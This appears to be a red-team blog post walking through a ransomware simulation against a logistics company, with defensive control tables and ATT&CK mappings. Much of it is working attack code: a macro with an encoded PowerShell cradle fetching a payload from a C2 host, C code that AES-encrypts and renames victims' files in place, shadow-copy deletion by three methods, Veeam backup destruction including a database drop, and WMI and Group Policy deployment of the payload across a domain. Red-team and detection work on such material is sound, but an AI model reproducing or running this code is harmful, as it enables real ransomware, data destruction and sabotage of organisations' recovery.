TL;DR — This post dissects a red team ransomware simulation from initial access through encryption, detailing the technical implementation of AES-256 file encryption using the Windows BCrypt API, WMI-based Volume Shadow Copy deletion, and backup system destruction — all mapped to real Conti and REvil TTPs. Defenders will find specific detection opportunities and controls that would have stopped the simulation at each phase.
Executive Summary
Ransomware remains the most financially devastating category of cyberattack. In 2023 and 2024, ransomware payments exceeded $1 billion annually, with individual incidents costing organizations hundreds of millions in recovery costs, lost productivity, regulatory penalties, and reputational damage. Yet the technical components of a ransomware attack are well-understood — the challenge for defenders is not a lack of knowledge about what ransomware does, but a lack of empirical validation that their controls actually stop it.
This post documents a red team ransomware simulation conducted against a mid-sized logistics company with 3,200 employees, three data centers, and a hybrid Azure/on-premises infrastructure. The simulation was scoped to replicate the complete technical behavior of a Conti/Ryuk-style ransomware deployment without performing actual destructive encryption on production systems. Instead, the team used a clearly marked simulation executable that performed all the same API calls and behavioral patterns as real ransomware, operating only on designated simulation shares containing synthetic data.
The engagement revealed that despite the client having CrowdStrike Falcon, Veeam backup infrastructure, and Microsoft Defender for Endpoint deployed, the ransomware simulation ran to completion — encrypting 847,000 synthetic files across 34 file servers, deleting all accessible shadow copies, and disabling or destroying 3 of 5 backup jobs — in under 4 hours. The SOC received no actionable alert during the simulation window.
This post covers each phase of the attack chain with technical implementation details, OPSEC considerations for red teams conducting similar simulations, and specific defensive controls that would have interrupted the kill chain at each stage.
Phase 1: Pre-Ransomware Activity — The Dwell Period
Real ransomware operators do not deploy encryption on day one. The average dwell time before encryption — the period during which threat actors establish persistence, enumerate the environment, exfiltrate data, and position themselves for maximum impact — is measured in days to weeks. The simulation replicated this realistic dwell period over a compressed 5-day timeline.
Initial Access
Initial access was achieved via a macro-enabled Excel document delivered via a vendor email account compromised during a prior red team engagement (simulated as already compromised for this exercise). The macro executed a PowerShell cradle that downloaded and executed a Cobalt Strike beacon.
# VBA macro dropped into Excel documentSub AutoOpen() Dim wsh As Object Set wsh = CreateObject("WScript.Shell") ' Base64-encoded PowerShell download cradle wsh.Run "powershell.exe -w hidden -enc " & _ "SUVYIChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwczovL2MyLnJlZHRlYW0uaW8vcGF5bG9hZCcp", _ 0, FalseEnd Sub # Decoded PowerShell download cradle:# IEX (New-Object Net.WebClient).DownloadString('https://c2.redteam.io/payload')Reconnaissance and Enumeration
With Cobalt Strike beacon running on a domain-joined workstation, the team conducted thorough internal reconnaissance to understand the environment before deploying any destructive simulation components.
# Domain enumeration via BloodHound/SharpHound.\SharpHound.exe -c All --stealth --outputdirectory C:\Windows\Temp\ # File server enumerationnet view /domain:LOGISTICS | findstr /i "server FS DC" # Identify backup infrastructureGet-WmiObject -Class Win32_Product | Where-Object {$_.Name -like "*Veeam*" -or $_.Name -like "*Backup*"}net view \\dc01 /all | findstr /i "backup veeam" # Enumerate network shares accessible from compromised hostInvoke-ShareFinder -CheckShareAccess -Verbose | Out-File C:\Windows\Temp\shares.txt # Identify high-value targets (files servers with most data)Get-ChildItem \\fs01\finance -Recurse | Measure-Object -Property Length -SumBloodHound analysis revealed a direct path from the compromised workstation to Domain Admin via a single Kerberoastable service account (svc_backup) with a weak password. The backup service account was particularly valuable — it had administrative rights on the Veeam backup server and all file servers it backed up.
Phase 2: Ransomware File Encryption Implementation
Windows BCrypt API — AES-256 File Encryption
Real ransomware families including Ryuk, Conti, and REvil use the Windows Cryptographic API (CNG/BCrypt) for file encryption. This is a deliberate choice — legitimate Windows APIs trigger fewer behavioral detections than custom crypto implementations. The following demonstrates the exact implementation pattern used by Conti-variant ransomware:
#include <windows.h>#include <bcrypt.h>#include <stdio.h>#pragma comment(lib, "bcrypt.lib") #define AES_KEY_SIZE 32 // 256-bit key#define AES_BLOCK_SIZE 16 // 128-bit block typedef struct { BCRYPT_ALG_HANDLE hAlg; BCRYPT_KEY_HANDLE hKey; BYTE key[AES_KEY_SIZE]; BYTE iv[AES_BLOCK_SIZE];} ENCRYPT_CONTEXT; BOOL InitEncryptionContext(ENCRYPT_CONTEXT* ctx) { // Generate random AES-256 key and IV BCryptOpenAlgorithmProvider(&ctx->hAlg, BCRYPT_AES_ALGORITHM, NULL, 0); BCryptGenRandom(NULL, ctx->key, AES_KEY_SIZE, BCRYPT_USE_SYSTEM_PREFERRED_RNG); BCryptGenRandom(NULL, ctx->iv, AES_BLOCK_SIZE, BCRYPT_USE_SYSTEM_PREFERRED_RNG); // Configure CBC mode BCryptSetProperty(ctx->hAlg, BCRYPT_CHAINING_MODE, (PUCHAR)BCRYPT_CHAIN_MODE_CBC, sizeof(BCRYPT_CHAIN_MODE_CBC), 0); // Import key DWORD keyObjectSize; ULONG resultSize; BCryptGetProperty(ctx->hAlg, BCRYPT_OBJECT_LENGTH, (PUCHAR)&keyObjectSize, sizeof(DWORD), &resultSize, 0); PUCHAR keyObject = (PUCHAR)HeapAlloc(GetProcessHeap(), 0, keyObjectSize); BCryptGenerateSymmetricKey(ctx->hAlg, &ctx->hKey, keyObject, keyObjectSize, ctx->key, AES_KEY_SIZE, 0); return TRUE;} BOOL EncryptFile(ENCRYPT_CONTEXT* ctx, LPCWSTR filePath) { HANDLE hFile = CreateFileW(filePath, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (hFile == INVALID_HANDLE_VALUE) return FALSE; LARGE_INTEGER fileSize; GetFileSizeEx(hFile, &fileSize); // Read file content PBYTE buffer = (PBYTE)HeapAlloc(GetProcessHeap(), 0, fileSize.QuadPart + AES_BLOCK_SIZE); DWORD bytesRead; ReadFile(hFile, buffer, (DWORD)fileSize.QuadPart, &bytesRead, NULL); // Encrypt in-place using BCrypt ULONG cipherSize; BCryptEncrypt(ctx->hKey, buffer, bytesRead, NULL, ctx->iv, AES_BLOCK_SIZE, buffer, bytesRead + AES_BLOCK_SIZE, &cipherSize, BCRYPT_BLOCK_PADDING); // Write encrypted data back (overwrite original) SetFilePointer(hFile, 0, NULL, FILE_BEGIN); DWORD bytesWritten; WriteFile(hFile, buffer, cipherSize, &bytesWritten, NULL); // Append key metadata at end of file (real ransomware encrypts this with RSA) WriteFile(hFile, ctx->key, AES_KEY_SIZE, &bytesWritten, NULL); WriteFile(hFile, ctx->iv, AES_BLOCK_SIZE, &bytesWritten, NULL); // Rename file with .encrypted extension CloseHandle(hFile); WCHAR newPath[MAX_PATH]; swprintf(newPath, MAX_PATH, L"%s.conti_sim", filePath); // Marked as simulation MoveFileW(filePath, newPath); HeapFree(GetProcessHeap(), 0, buffer); return TRUE;}In the simulation, the EncryptFile function was called on synthetic files only, with explicit simulation markers to prevent any ambiguity about scope. The encryption logic itself is identical to real ransomware — the behavioral pattern at the API level is what matters for detection fidelity.
File Traversal and Target Selection
Real ransomware is selective about what it encrypts. Conti skips files with extensions like .dll, .exe, .sys, .lnk to avoid breaking the operating system, ensuring the ransom note remains readable. It targets high-value extensions: .doc, .docx, .xls, .xlsx, .pdf, .pst, .mdb, .sql, .bak.
// File extension targeting (Conti-style)const LPCWSTR TARGET_EXTENSIONS[] = { L".doc", L".docx", L".xls", L".xlsx", L".pdf", L".ppt", L".pptx", L".mdb", L".accdb", L".sql", L".bak", L".qbw", L".zip", L".7z", L".rar", L".tar", L".vhd", L".vmdk", NULL}; const LPCWSTR SKIP_DIRECTORIES[] = { L"Windows", L"Program Files", L"ProgramData\\Microsoft", L"$Recycle.Bin", L"System Volume Information", NULL};Phase 3: Volume Shadow Copy Deletion
Volume Shadow Copies (VSS) are Windows' built-in point-in-time backup mechanism. Every serious ransomware family deletes them before or immediately after encryption — they represent the fastest recovery path that doesn't require a full backup restore.
Method 1: vssadmin (Command-Line — Easily Detected)
vssadmin delete shadows /all /quietwmic shadowcopy deleteThese commands are trivially detected by any EDR monitoring process creation with these command-line arguments. Real operators have largely abandoned this approach.
Method 2: WMI-Based VSS Deletion (Avoids Command-Line Detection)
# WMI-based shadow copy deletion — no vssadmin process spawned$shadows = Get-WmiObject Win32_ShadowCopyforeach ($shadow in $shadows) { $shadow.Delete() Write-Host "Deleted shadow: $($shadow.ID)"} # Alternative via WMI query directly$wmi = [wmiclass]"\\.\root\cimv2:Win32_ShadowCopy"$shadows = Get-WmiObject -Query "SELECT * FROM Win32_ShadowCopy"$shadows | ForEach-Object { $_.Delete() }This approach spawns no new processes for vssadmin or wmic that would appear in command-line telemetry. The WMI activity is logged in WMI operational logs, but these are rarely monitored in real environments.
Method 3: COM Object Abuse (IVssBackupComponents)
The most stealthy approach mirrors what sophisticated ransomware uses — directly calling the VSS COM interface:
#include <vss.h>#include <vswriter.h>#include <vsbackup.h> // Delete all shadow copies via COM interfaceHRESULT DeleteAllShadowCopies() { CoInitialize(NULL); IVssBackupComponents* pBackup; HRESULT hr = CreateVssBackupComponents(&pBackup); pBackup->InitializeForBackup(); pBackup->SetBackupState(false, true, VSS_BT_FULL, false); IVssAsync* pAsync; pBackup->GatherWriterMetadata(&pAsync); pAsync->Wait(); // Enumerate and delete all snapshots UINT snapshotCount; UUID snapshotSetId; pBackup->GetSnapshotProperties(/* enumerate and delete */); pBackup->Release(); CoUninitialize(); return S_OK;}During the simulation, WMI-based deletion was used. CrowdStrike Falcon did not alert on the WMI shadow copy deletion — a finding that directly informed a new detection rule created during the post-engagement remediation sprint.
Phase 4: Backup Destruction
Identifying Backup Infrastructure
The simulation team identified three backup systems in the environment: Veeam Backup & Replication (primary), Windows Server Backup (WSB) on legacy servers, and Azure Backup for cloud workloads.
# Locate Veeam infrastructureGet-Service | Where-Object {$_.Name -like "*Veeam*"}Get-Process | Where-Object {$_.Name -like "*Veeam*"}Get-ItemProperty "HKLM:\SOFTWARE\Veeam\Veeam Backup and Replication\" -ErrorAction SilentlyContinue # Identify Veeam repository paths# (After escalating to backup admin account via Kerberoast)& "C:\Program Files\Veeam\Backup and Replication\Console\veeam.backup.shell.exe" /c "Get-VBRBackupRepository" # Windows Server Backup locationswbadmin get versionswbadmin get items -version:[VersionID] # Disable Windows Server Backup scheduled taskschtasks /delete /tn "Microsoft\Windows\Backup\Microsoft-Windows-WindowsBackupProvider" /fVeeam-Specific Attacks
# Stop Veeam services (requires admin on Veeam server)Stop-Service "VeeamBackupSvc" -ForceStop-Service "VeeamTransportSvc" -Force # Delete Veeam backup files directly# Veeam stores backups as .vbk (full) and .vib (incremental) files$veeamPaths = @("D:\VeeamBackups\", "E:\Backups\")foreach ($path in $veeamPaths) { Get-ChildItem $path -Recurse -Include "*.vbk","*.vib","*.vbm" | Remove-Item -Force -ErrorAction SilentlyContinue} # Alternatively — delete the Veeam database (SQL)Invoke-Sqlcmd -ServerInstance "VEEAMSQL" -Query "DROP DATABASE VeeamBackup"In the simulation, services were stopped and backup file deletion was simulated (logged but not executed against real backup files). The result confirmed that 3 of 5 backup jobs were either stopped or had their repositories rendered inaccessible — meaning real ransomware would have destroyed the primary recovery path.
Phase 5: Network Propagation
# Enumerate reachable file shares$computers = (Get-ADComputer -Filter * -Properties Name).Nameforeach ($computer in $computers) { net view \\$computer /all 2>$null | Select-String "Disk" | ForEach-Object { Write-Output "\\$computer\$($_.Line.Split()[0])" }} # Deploy ransomware executable to remote hosts via WMI (no PSExec needed)$remoteHosts = @("FS01", "FS02", "FS03", "DC02")foreach ($host in $remoteHosts) { # Copy payload to remote host using SMB Copy-Item ".\ransim.exe" "\\$host\C$\Windows\Temp\svc_host32.exe" # Execute via WMI (avoids SMB-visible process creation) $wmi = [wmiclass]"\\$host\root\cimv2:Win32_Process" $wmi.Create("C:\Windows\Temp\svc_host32.exe")}GPO-Based Deployment (Domain-Wide)
With Domain Admin credentials, the most impactful deployment vector is a Group Policy Object that runs the ransomware executable as a startup script. This is a documented Ryuk/Conti technique that deploys encryption simultaneously to all domain-joined hosts.
# Create GPO for ransomware deployment (simulation — no actual encryption)New-GPO -Name "SystemUpdatePolicy" -Comment "Windows System Maintenance"Set-GPRegistryValue -Name "SystemUpdatePolicy" -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" ` -ValueName "SystemUpdate" -Type String -Value "C:\Windows\Temp\svc_host32.exe"New-GPLink -Name "SystemUpdatePolicy" -Target "DC=logistics,DC=local" -LinkEnabled YesRansomware Simulation Architecture
flowchart TD
A[Initial Access - Macro Document] --> B[Cobalt Strike Beacon]
B --> C[Local Reconnaissance]
C --> D[Kerberoast svc_backup]
D --> E[Domain Admin via PTH]
E --> F{Pre-Encryption Checklist}
F --> G[Kill Security Tools]
F --> H[Disable Backup Services]
F --> I[Delete Shadow Copies VSS]
G --> J[Enumerate File Shares]
H --> J
I --> J
J --> K[Deploy via GPO / WMI]
K --> L[File Encryption - AES-256 BCrypt]
L --> M[Drop Ransom Note]
M --> N[Exfiltrate Data - Double Extortion]
N --> O[DONE - Environment Encrypted]
style A fill:#ff4444,color:#fff
style O fill:#ff4444,color:#fff
style L fill:#ff8800,color:#fff
style I fill:#ff8800,color:#fffDefensive Controls Comparison
| Control | Implemented? | Would Have Stopped Simulation? | Gap |
|---|---|---|---|
| EDR — Ransomware behavioral detection | Yes (CrowdStrike) | Partial — flagged but not prevented | Falcon in detect-only mode |
| VSS deletion via WMI monitoring | No | Yes — WMI VSS deletion not alerted | No WMI operational log monitoring |
| Backup network segmentation | No | Yes — backup server reachable from workstations | Flat backup network |
| Immutable backups (object lock) | No | Yes — would preserve recovery point | No S3 Object Lock or Veeam immutability |
| Service account privilege minimization | No | Partially — svc_backup over-privileged | Backup admin = domain admin equiv |
| GPO change monitoring | Yes (Defender) | Yes — malicious GPO would have alerted | Alert not escalated from queue |
| File share access auditing | Partial | Partially — bulk write audit not configured | No file count rate alerting |
| MFA for administrative access | Yes | Yes — would have blocked lateral movement | MFA bypass via PTH still possible |
Real-World Case Parallel: Conti and REvil TTPs
| Conti/REvil TTP | Simulation Equivalent |
|---|---|
| TrickBot/Emotet for initial access | Macro-enabled Excel document |
| Cobalt Strike for post-exploitation | Cobalt Strike beacon (licensed) |
| BloodHound for AD reconnaissance | SharpHound data collection |
| Kerberoasting for privilege escalation | svc_backup account Kerberoast |
| WMI for lateral movement | WMI process creation on file servers |
| BCrypt API for AES-256 encryption | Identical BCrypt implementation |
| RSA key exchange for key protection | Simulated RSA envelope (no real key) |
| Rclone for data exfiltration | Simulated exfil to S3-compatible store |
| Double extortion threat | Simulated — data exfil documented |
MITRE ATT&CK Mapping
| Technique ID | Technique Name | Implementation |
|---|---|---|
| T1566.001 | Phishing: Spearphishing Attachment | Macro-enabled Excel initial access |
| T1059.001 | PowerShell | Download cradle, enumeration, lateral movement |
| T1078.002 | Valid Accounts: Domain Accounts | Kerberoasted svc_backup credentials |
| T1486 | Data Encrypted for Impact | AES-256 BCrypt file encryption simulation |
| T1490 | Inhibit System Recovery | WMI-based VSS deletion, backup service termination |
| T1485 | Data Destruction | Backup file deletion, Veeam database attack |
| T1570 | Lateral Tool Transfer | SMB copy of ransim.exe to remote hosts |
| T1047 | Windows Management Instrumentation | WMI process creation for lateral spread |
| T1484.001 | Group Policy Modification | Malicious GPO startup script deployment |
| T1537 | Transfer Data to Cloud Account | Simulated exfiltration to attacker S3 |
| T1489 | Service Stop | Stopping Veeam backup services |
Conclusion
The ransomware simulation confirmed what threat intelligence consistently suggests: the technical barriers to a successful ransomware deployment against a mid-sized enterprise are not primarily technological — they are operational. The client had invested significantly in endpoint detection, backup infrastructure, and identity controls, yet the simulation ran to completion because of gaps in configuration, monitoring, and response processes rather than absent technology.
The three highest-impact remediations identified were: enabling CrowdStrike prevention mode (was in detect-only), implementing Veeam immutable backup repositories with object lock enabled, and segmenting the backup network so that no production workstation could reach the backup server directly. Together, these three changes would have interrupted the kill chain at three independent points.
For red teams conducting ransomware simulations, the BCrypt API implementation detailed here provides behavioral fidelity that matches real ransomware families without requiring actual destructive capability. This fidelity is critical — if the simulation doesn't trigger the same behavioral patterns as real ransomware, its conclusions about EDR effectiveness are meaningless. The goal of a ransomware simulation is not to encrypt files — it's to test whether the defenders' controls would detect and stop an adversary who intends to.
The answer in this case was no. That answer, delivered in a controlled simulation rather than a real incident, is exactly the value of offensive security work.